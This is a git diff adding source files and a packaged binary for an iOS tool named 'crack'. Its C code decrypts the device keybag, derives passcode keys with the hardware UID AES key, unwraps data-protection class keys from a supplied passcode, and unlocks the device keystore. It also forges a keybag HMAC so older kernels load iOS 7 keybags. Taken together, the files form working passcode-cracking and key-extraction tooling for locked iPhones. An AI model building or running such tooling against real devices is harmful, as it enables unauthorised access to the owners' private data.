AppleKeyStore_loadKeyBag(const char* folder, const char* filename) +{ + char keybagPath[100]; + struct BAG1Locker bag1_locker={0}; + //unsigned char buffer_bag1[52] = {0}; + + snprintf(keybagPath, 99, "%s/%s.kb", folder, filename); + + CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, + (const UInt8*)keybagPath, + strlen(keybagPath), + 0); + + if (url == NULL) + return NULL; + + CFReadStreamRef stream = CFReadStreamCreateWithFile (kCFAllocatorDefault, url); + + if (stream == NULL) + return NULL; + + if (CFReadStreamOpen(stream) != TRUE) + return NULL; + + CFPropertyListRef plist = CFPropertyListCreateWithStream (kCFAllocatorDefault, + stream, + 0, + kCFPropertyListImmutable, + NULL, + NULL + ); + if (plist == NULL) + return NULL; + + CFDataRef data = CFDictionaryGetValue(plist, CFSTR("_MKBPAYLOAD")); + + if (data == NULL) + return NULL; + + uint8_t* mkbpayload = valloc(CFDataGetLength(data)); + CFDataGetBytes(data, CFRangeMake(0,CFDataGetLength(data)), mkbpayload); + int length = CFDataGetLength(data); + + if (length < 16) + { + free(mkbpayload); + return NULL; + } + + if (AppleEffaceableStorage__getLocker(LOCKER_BAG1, (uint8_t*) &bag1_locker, sizeof(struct BAG1Locker))) + { + free(mkbpayload); + return NULL; + } + + if (bag1_locker.magic != 'BAG1') + fprintf(stderr, "AppleKeyStore_loadKeyBag: bad BAG1 magic\n"); + + size_t decryptedSize = 0; + + CCCryptorStatus cryptStatus = CCCrypt(kCCDecrypt, + kCCAlgorithmAES128, + kCCOptionPKCS7Padding, + bag1_locker.key, + kCCKeySizeAES256, + bag1_locker.iv, + mkbpayload, + length, + mkbpayload, + length, + &decryptedSize); + + if (cryptStatus != kCCSuccess) + { + fprintf(stderr, "AppleKeyStore_loadKeyBag CCCrypt kCCDecrypt with BAG1 key failed, return code=%x\n", cryptStatus); + free(mkbpayload); + return NULL; + } + + CFDataRef data2 = CFDataCreate(kCFAllocatorDefault, + mkbpayload, + decryptedSize + ); + + if (data2 == NULL) + { + free(mkbpayload); + return NULL; + } + + CFErrorRef e=NULL; + CFPropertyListRef plist2 = CFPropertyListCreateWithData(kCFAllocatorDefault, data2, kCFPropertyListImmutable, NULL, &e); + if (plist2 == NULL) + { + fprintf(stderr, "AppleKeyStore_loadKeyBag failed to create plist, AES fail ? decryptedSize=%zx\n", decryptedSize); + + CFShow(e); + } + free(mkbpayload); + CFRelease(data2); + return plist2; +} + +int AppleKeyStoreKeyBagInit() +{ + uint64_t out = 0; + uint32_t one = 1; + return IOKit_call("AppleKeyStore", + kAppleKeyStoreInitUserClient, + NULL, + 0, + NULL, + 0, + &out, + &one, + NULL, + NULL); +} + +int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId) +{ + uint32_t outCnt = 1; + aes_key_wrap_ctx ctx; + uint8_t hmckkey[32] = {0}; + + int retcode = IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagCreateWithData, + NULL, + 0, + CFDataGetBytePtr(data), + CFDataGetLength(data), + keybagId, + &outCnt, + NULL, + NULL + ); + if (retcode != 0xE00002C9) + return retcode; + //HAX to load new iOS 7 keybags on previous iOS kernels + uint32_t* kbdata = (uint32_t*) CFDataGetBytePtr(data); + if ((kbdata[2] == 'SREV') && (kbdata[4] == 0x04000000)) + { + printf("Patching iOS 7 keybag VERS 4 signature for older kernels\n"); + + aes_key_wrap_set_key(&ctx, IOAES_key835(), 16); + assert(kbdata[0x38/4] == 'KCMH'); + assert(!aes_key_unwrap(&ctx, (const uint8_t*) &kbdata[0x38/4 + 2], hmckkey, 4)); + + assert(kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2] == 'NGIS'); + + CCHmac(kCCHmacAlgSHA1, + (const void *) &kbdata[2], + CFSwapInt32BigToHost(kbdata[1]), + hmckkey, + 32, + &kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2 + 2]); + } + outCnt = 1; + return IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagCreateWithData, + NULL, + 0, + CFDataGetBytePtr(data), + CFDataGetLength(data), + keybagId, + &outCnt, + NULL, + NULL + ); +} + +int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId) +{ + return IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagSetSystem, + &keybagId, + 1, + NULL, + 0, + NULL, + NULL, + NULL, + NULL); +} + +int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode) +{ + return IOConnectCallMethod(conn, + kAppleKeyStoreUnlockDevice, + NULL, + 0, + CFDataGetBytePtr(passcode), + CFDataGetLength(passcode), + NULL, + NULL, + NULL, + NULL); +} + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb) +{ + const uint8_t* ptr = CFDataGetBytePtr(kb); + unsigned int len = CFDataGetLength(kb); + struct KeyBagBlobItem* p = (struct KeyBagBlobItem*) ptr; + const uint8_t* end; + + if (p->tag != 'ATAD') { + printf("Keybag does not start with DATA\n"); + return NULL; + } + if (8 + CFSwapInt32BigToHost(p->len) > len) { + return NULL; + } + + KeyBag* keybag = malloc(sizeof(KeyBag)); + if (keybag == NULL) + return NULL; + + memset(keybag, 0, sizeof(KeyBag)); + + end = ptr + 8 + CFSwapInt32BigToHost(p->len); + p = (struct KeyBagBlobItem*) p->data.bytes; + int kbuuid=0; + int i = -1; + + while ((uint8_t*)p < end) { + //printf("%x\n", p->tag); + len = CFSwapInt32BigToHost(p->len); + + if (p->tag == 'SREV') { + keybag->version = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'TLAS') { + memcpy(keybag->salt, p->data.bytes, 20); + } + else if (p->tag == 'RETI') { + keybag->iter = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'DIUU') { + if (!kbuuid) + { + memcpy(keybag->uuid, p->data.bytes, 16); + kbuuid = 1; + } + else + { + i++; + if (i >= MAX_CLASS_KEYS) + break; + memcpy(keybag->keys[i].uuid, p->data.bytes, 16); + } + } + else if (p->tag == 'SALC') + { + keybag->keys[i].clas = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'PARW' && kbuuid) + { + keybag->keys[i].wrap = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'YKPW') + { + memcpy(keybag->keys[i].wpky, p->data.bytes, (len > 40) ? 40 : len); + } + p = (struct KeyBagBlobItem*) &p->data.bytes[len]; + } + keybag->numKeys = i + 1; + + return keybag; +} + +void AppleKeyStore_printKeyBag(KeyBag* kb) +{ + int i; + printf("Keybag version : %d\n", kb->version); + printf("Keybag keys : %d\n", kb->numKeys); + printf("Class\tWrap\tKey\n"); + for (i=0; i < kb->numKeys; i++) + { + printf("%d\t%d\t", kb->keys[i].clas, kb->keys[i].wrap); + printBytesToHex(kb->keys[i].wpky, kb->keys[i].wrap & 2 ? 40 : 32); + printf("\n"); + } + printf("\n"); +} + +CFMutableDictionaryRef AppleKeyStore_getClassKeys(KeyBag* kb) +{ + int i; + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, kb->numKeys, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFStringRef key; + + for (i=0; i < kb->numKeys; i++) + { + if(kb->keys[i].wrap == 0) + { + key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%d"), kb->keys[i].clas); + addHexaString(dict, key, kb->keys[i].wpky, 32); + CFRelease(key); + } + } + return dict; +} diff --git a/crack/crack/AppleKeyStore.h b/crack/crack/AppleKeyStore.h new file mode 100644 index 0000000..0840da1 --- /dev/null +++ b/crack/crack/AppleKeyStore.h @@ -0,0 +1,86 @@ +#include + +/* + AppleKeyStore + 0 : initUserClient scalarOutSize=1 + 1 : + 2 : AppleKeyStoreKeyBagCreate + 3 : AppleKeyStoreKeyBagCopyData inscalars=id structOutSize=0x8000 + 4 : keybagrelease inscalars":[0]} + 5 : AppleKeyStoreKeyBagSetSystem + 6 : AppleKeyStoreKeyBagCreateWithData + 7 : getlockstate "inscalars":[0], "scalarOutSize":1} + 8 : AppleKeyStoreLockDevice + 9 : AppleKeyStoreUnlockDevice instruct + 10: AppleKeyStoreKeyWrap + 11: AppleKeyStoreKeyUnwrap + 12: AppleKeyStoreKeyBagUnlock + 13: AppleKeyStoreKeyBagLock + 14: AppleKeyStoreKeyBagGetSystem scalarOutSize=1 + 15: AppleKeyStoreKeyBagChangeSecret + 17: AppleKeyStoreGetDeviceLockState scalarOutSize=1 + 18: AppleKeyStoreRecoverWithEscrowBag + 19: AppleKeyStoreOblitClassD + */ +#define kAppleKeyStoreInitUserClient 0 +#define kAppleKeyStoreKeyBagSetSystem 5 +#define kAppleKeyStoreKeyBagCreateWithData 6 +#define kAppleKeyStoreUnlockDevice 9 + +#define MAX_CLASS_KEYS 20 + +struct KeyBagBlobItem +{ + unsigned int tag; + unsigned int len; + union + { + unsigned int intvalue; + unsigned char bytes[1]; + } data; +}; + +typedef struct ClassKey +{ + unsigned char uuid[16]; + unsigned int clas; + unsigned int wrap; + unsigned char wpky[40]; +} ClassKey; + +typedef struct KeyBag +{ + unsigned int version; + unsigned int type; + unsigned char uuid[16]; + unsigned char hmck[40]; + unsigned char salt[20]; + unsigned int iter; + + unsigned int numKeys; + + struct ClassKey keys[MAX_CLASS_KEYS]; +} KeyBag; + + +int AppleKeyStoreKeyBagInit(); +CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename); +int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId); +int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId); +int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode); + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb); +void AppleKeyStore_printKeyBag(KeyBag* kb); + +int AppleKeyStore_getPasscodeKey(KeyBag* keybag, + const char* passcode, + size_t passcodeLen, + uint8_t* passcodeKey); + +int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, + const char* passcode, + size_t passcodeLen, + uint8_t* key835); + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb); +CFMutableDictionaryRef AppleKeyStore_getClassKeys(KeyBag* kb); \ No newline at end of file diff --git a/crack/crack/AppleKeyStore_kdf.c b/crack/crack/AppleKeyStore_kdf.c new file mode 100644 index 0000000..f143a03 --- /dev/null +++ b/crack/crack/AppleKeyStore_kdf.c @@ -0,0 +1,147 @@ +#include +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/pbkdf2.h" +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers); +uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey); +void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen); + +#define DERIVATION_BUFFER_SIZE 4096 +uint8_t buf1[DERIVATION_BUFFER_SIZE]; +uint8_t buf2[DERIVATION_BUFFER_SIZE]; + +IOByteCount IOAESStructSize1 = sizeof(IOAESStruct); +IOAESStruct in ={buf1,buf2,DERIVATION_BUFFER_SIZE,{0},0,128,{0},kIOAESAcceleratorUIDMask,0}; +IOAESStruct out = {0}; + +int AppleKeyStore_getPasscodeKey(KeyBag* keybag, + const char* passcode, + size_t passcodeLen, + uint8_t* passcodeKey) +{ + //One PBKDF2 iter, hardcoded salt length + pkcs5_pbkdf2(passcode, passcodeLen, keybag->salt, 20, passcodeKey, 32, 1); + + return AppleKeyStore_derivation(passcodeKey, 32, keybag->iter, keybag->version); +} + +int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers) +{ + IOReturn ret; + io_connect_t conn = IOAESAccelerator_getIOconnect(); + memset(in.iv, 0, 16); + + uint32_t r4; + uint32_t nBlocks = DERIVATION_BUFFER_SIZE / dataLength; //4096/32=128 + uint32_t xorkey = 1; + + uint32_t* buffer2 = data; + if (vers >= 2) + { + buffer2 = malloc(dataLength); + memcpy(buffer2, data, dataLength); + } + while (iter > 0) + { + //version=1 xorKey alawys=1, buffer2 changes at each iter + //version=2 xorKey changes at each iter, buffer2 is always the input (pbkdf2(passcode)) + r4 = AppleKeyStore_xorExpand((uint32_t*)buf1, DERIVATION_BUFFER_SIZE, buffer2, dataLength, xorkey); + if (vers >= 2) + xorkey = r4; + + if((ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize1, &out, &IOAESStructSize1)) != kIOReturnSuccess) + { + fprintf(stderr, "IOConnectCallStructMethod fail : %x\n", ret); + return -1; + } + memcpy(in.iv, out.iv, 16); + + r4 = nBlocks; + if (r4 >= iter) + { + r4 = iter; + } + AppleKeyStore_xorCompress((uint32_t*) buf2, r4 * dataLength, data, dataLength); + iter -= r4; + } + if (vers >= 2) + { + free(buffer2); + } + return 0; +} + +/* +uint32_t paddedLen = (inLen + 3) & (~3);//aligne sur 4 octets +if (dstLen % paddedLen) + return; +uint32_t localBuf[inLen/4]; + +memcpy(localBuf, input, inLen); +memset(&localBuf[inLen], 0, paddedLen - inLen);*/ +uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey) +{ + uint32_t* dstEnd = &dst[dstLen/4]; + uint32_t i = 0; + + while (dst < dstEnd) + { + i = 0; + while (i < inLen/4) + { + *dst = input[i] ^ xorKey; + dst++; + i++; + } + xorKey++; + } + return xorKey; +} + +void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen) +{ + uint32_t i; + + for (i=0; i < (inputLen/4); i++) + { + output[i%(outputLen/4)] ^= input[i]; + } +} + +int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, const char* passcode, size_t passcodeLen, uint8_t* key835) +{ + u_int8_t passcodeKey[32]={0}; + u_int8_t unwrappedKey[40]={0}; + aes_key_wrap_ctx ctx; + int i; + + AppleKeyStore_getPasscodeKey(kb, passcode, passcodeLen, passcodeKey); + aes_key_wrap_set_key(&ctx, passcodeKey, 32); + + for (i=0; i < kb->numKeys; i++) + { + if (kb->keys[i].wrap & 2) + { + if(aes_key_unwrap(&ctx, kb->keys[i].wpky, unwrappedKey, 4)) + return 0; + memcpy(kb->keys[i].wpky, unwrappedKey, 32); + kb->keys[i].wrap &= ~2; + } + if (kb->keys[i].wrap & 1) + { + doAES(kb->keys[i].wpky, kb->keys[i].wpky, 32, kIOAESAcceleratorCustomMask, key835, NULL, kIOAESAcceleratorDecrypt, 128); + kb->keys[i].wrap &= ~1; + } + } + return 1; +} diff --git a/crack/crack/IOAESAccelerator.c b/crack/crack/IOAESAccelerator.c new file mode 100644 index 0000000..2e1ee76 --- /dev/null +++ b/crack/crack/IOAESAccelerator.c @@ -0,0 +1,160 @@ +/** + https://github.com/planetbeing/xpwn/blob/master/crypto/aes.c + **/ +#include +#include +#include +#include +#include +#include + +#include + +#include "IOKit.h" +#include "IOAESAccelerator.h" + +io_connect_t conn = 0; +IOByteCount IOAESStructSize = sizeof(IOAESStruct); +pthread_once_t once_control = PTHREAD_ONCE_INIT; + +//see com.apple.driver.AppleCDMA +typedef struct +{ + uint32_t key_id; + uint32_t hw_key_id; + uint8_t nonce_to_encrypt_with_hw_key[16]; + uint8_t* value; +} device_key_descriptor; + +#define NUM_DEVICE_KEYS 4 +device_key_descriptor ios_device_keys[NUM_DEVICE_KEYS]= { + {0x835, kIOAESAcceleratorUIDMask, {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01}, NULL}, + {0x899, kIOAESAcceleratorUIDMask, {0xD1, 0xE8, 0xFC, 0xB5, 0x39, 0x37, 0xBF, 0x8D, 0xEF, 0xC7, 0x4C, 0xD1, 0xD0, 0xF1, 0xD4, 0xB0}, NULL}, + {0x89B, kIOAESAcceleratorUIDMask, {0x18, 0x3E, 0x99, 0x67, 0x6B, 0xB0, 0x3C, 0x54, 0x6F, 0xA4, 0x68, 0xF5, 0x1C, 0x0C, 0xBD, 0x49}, NULL}, + {0x89A, kIOAESAcceleratorUIDMask, {0xDB, 0x1F, 0x5B, 0x33, 0x60, 0x6C, 0x5F, 0x1C, 0x19, 0x34, 0xAA, 0x66, 0x58, 0x9C, 0x06, 0x61}, NULL}, +}; + +void aes_init() +{ + conn = IOKit_getConnect("IOAESAccelerator"); +} + +io_connect_t IOAESAccelerator_getIOconnect() +{ + pthread_once(&once_control, aes_init); + return conn; +} + + +int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits) { + IOReturn ret; + IOAESStruct in; + + pthread_once(&once_control, aes_init); + + in.mode = mode; + in.bits = bits; + in.inbuf = inbuf; + in.outbuf = outbuf; + in.size = size; + in.mask = keyMask; + + memset(in.keybuf, 0, sizeof(in.keybuf)); + + if(key) + memcpy(in.keybuf, key, in.bits / 8); + + if(iv) + memcpy(in.iv, iv, 16); + else + memset(in.iv, 0, 16); + + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + if(ret == kIOReturnBadArgument) { + IOAESStructSize = IOAESStruct_sizeold; + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + } + + if(iv) + memcpy(iv, in.iv, 16); + + return ret; +} + +IOReturn doAES_wrapper(void* thisxxx, int mode, void* iv, void* outbuf, void *inbuf, uint32_t size, uint32_t keyMask) +{ + int x = doAES(inbuf, outbuf, size, keyMask, NULL, iv, mode, 128); + return !x; +} + +int AES_UID_Encrypt(void* input2, void* output, size_t len) +{ + IOAESStruct in; + IOReturn ret; + static int triedToPatchKernelAlready = 0; + unsigned char* input = valloc(16); + + memcpy(input, input2, 16); + + pthread_once(&once_control, aes_init); + + in.mode = kIOAESAcceleratorEncrypt; + in.mask = kIOAESAcceleratorUIDMask; + in.bits = 128; + in.inbuf = input; + in.outbuf = output; + in.size = len; + + memset(in.keybuf, 0, sizeof(in.keybuf)); + memset(in.iv, 0, 16); + + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + if(ret == kIOReturnBadArgument) { + IOAESStructSize = IOAESStruct_sizeold; + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + } + + if(ret == kIOReturnNotPrivileged && !triedToPatchKernelAlready) { + triedToPatchKernelAlready = 1; + syslog(LOG_ERR, "Trying to patch IOAESAccelerator kernel extension to allow UID key usage\n"); + ret = AES_UID_Encrypt(input2, output, len); + } + if(ret != kIOReturnSuccess) { + syslog(LOG_ERR, "IOAESAccelerator returned: %x\n", ret); + } + return ret; +} + +uint8_t* IOAES_get_device_key(uint32_t id) +{ + static uint8_t nullkey[16] = {0}; + int i; + for(i=0; i < NUM_DEVICE_KEYS; i++) + { + if (ios_device_keys[i].key_id != id) + continue; + if (ios_device_keys[i].value != NULL) + return ios_device_keys[i].value; + + ios_device_keys[i].value = (uint8_t*) valloc(16); //on ARMv6 devices stuff needs to be aligned + memcpy(ios_device_keys[i].value, ios_device_keys[i].nonce_to_encrypt_with_hw_key, 16); + AES_UID_Encrypt(ios_device_keys[i].value, ios_device_keys[i].value, 16); + return ios_device_keys[i].value; + } + return nullkey; + +} +uint8_t* IOAES_key835() +{ + return IOAES_get_device_key(0x835); +} + +uint8_t* IOAES_key89B() +{ + return IOAES_get_device_key(0x89B); +} + +uint8_t* IOAES_key89A() +{ + return IOAES_get_device_key(0x89A); +} \ No newline at end of file diff --git a/crack/crack/IOAESAccelerator.h b/crack/crack/IOAESAccelerator.h new file mode 100644 index 0000000..6336493 --- /dev/null +++ b/crack/crack/IOAESAccelerator.h @@ -0,0 +1,36 @@ +#define kIOAESAcceleratorInfo 0 +#define kIOAESAcceleratorTask 1 +#define kIOAESAcceleratorTest 2 + +#define kIOAESAcceleratorEncrypt 0 +#define kIOAESAcceleratorDecrypt 1 + +#define kIOAESAcceleratorGIDMask 0x3E8 +#define kIOAESAcceleratorUIDMask 0x7D0 +#define kIOAESAcceleratorCustomMask 0 + +typedef struct +{ + void* inbuf; + void* outbuf; + uint32_t size; + uint8_t iv[16]; + uint32_t mode; + uint32_t bits; + uint8_t keybuf[32]; + uint32_t mask; + uint32_t zero; //ios 4.2.1 +} IOAESStruct; + +#define IOAESStruct_size41 (sizeof(IOAESStruct)) +#define IOAESStruct_sizeold (sizeof(IOAESStruct) - 4) + +void aes_init(); +io_connect_t IOAESAccelerator_getIOconnect(); +int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits); +int AES_UID_Encrypt(void* input, void* output, size_t len); + +uint8_t* IOAES_key835(); +uint8_t* IOAES_key89A(); +uint8_t* IOAES_key89B(); + diff --git a/crack/crack/IOKit.c b/crack/crack/IOKit.c new file mode 100644 index 0000000..9939a80 --- /dev/null +++ b/crack/crack/IOKit.c @@ -0,0 +1,91 @@ +#include +#include + +#include "IOKit.h" + +struct ioconnectCache { + const char* serviceName; + io_connect_t conn; +}; + +struct ioconnectCache cache[10]={{NULL, 0}}; + +void __attribute__((destructor)) IOKit_destruct() +{ + int i; + for (i=0; i < 10 && cache[i].conn != 0; i++) { + //printf("Closing %s\n", cache[i].serviceName); + IOServiceClose(cache[i].conn); + } +} + +io_connect_t IOKit_getConnect(const char* serviceName) +{ + IOReturn ret; + io_connect_t conn = 0; + int i; + + for (i=0; i < 10 && cache[i].serviceName != NULL; i++) { + if (!strcmp(serviceName, cache[i].serviceName)) + { + //printf("got cache for %s\n", serviceName); + return cache[i].conn; + } + } + + CFMutableDictionaryRef dict = IOServiceMatching(serviceName); + io_service_t dev = IOServiceGetMatchingService(kIOMasterPortDefault, dict); + + if(!dev) { + fprintf(stderr, "FAIL: Could not get %s service\n", serviceName); + return -1; + } + + ret = IOServiceOpen(dev, mach_task_self(), 0, &conn); + + IOObjectRelease(dev); + if(ret != kIOReturnSuccess) { + fprintf(stderr, "FAIL: Cannot open service %s\n", serviceName); + return -1; + } + + if (i < 10) { + cache[i].serviceName = serviceName; + cache[i].conn = conn; + } + + return conn; +} + +IOReturn IOKit_call(const char* serviceName, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + IOReturn ret; + io_connect_t conn = IOKit_getConnect(serviceName); + + ret = IOConnectCallMethod(conn, + selector, + input, + inputCnt, + inputStruct, + inputStructCnt, + output, + outputCnt, + outputStruct, + outputStructCnt); + + if (ret != kIOReturnSuccess) + { + fprintf(stderr, "IOConnectCallMethod on %s selector %d returned %x\n", serviceName, selector, ret); + } + + return ret; +} \ No newline at end of file diff --git a/crack/crack/IOKit.h b/crack/crack/IOKit.h new file mode 100644 index 0000000..a4c1429 --- /dev/null +++ b/crack/crack/IOKit.h @@ -0,0 +1,14 @@ +#include + +io_connect_t IOKit_getConnect(const char* serviceName); + +IOReturn IOKit_call(const char* serviceName, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt); \ No newline at end of file diff --git a/crack/crack/Package/DEBIAN/control b/crack/crack/Package/DEBIAN/control new file mode 100644 index 0000000..5bf3cd4 --- /dev/null +++ b/crack/crack/Package/DEBIAN/control @@ -0,0 +1,17 @@ +Package: com.sudo-sec.crack +Name: crack +Version: 1.0-1 +Description: +Section: System +Depends: firmware (>= 5.0) +Conflicts: +Replaces: +Priority: optional +Architecture: iphoneos-arm +Author: Joshua Hill +dev: +Homepage: +Depiction: +Maintainer: +Icon: + diff --git a/crack/crack/Package/usr/bin/crack b/crack/crack/Package/usr/bin/crack new file mode 100644 index 0000000000000000000000000000000000000000..f8452842ea81f8bb8d3c97ade872da8ae6d87b14 GIT binary patch literal 231408 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 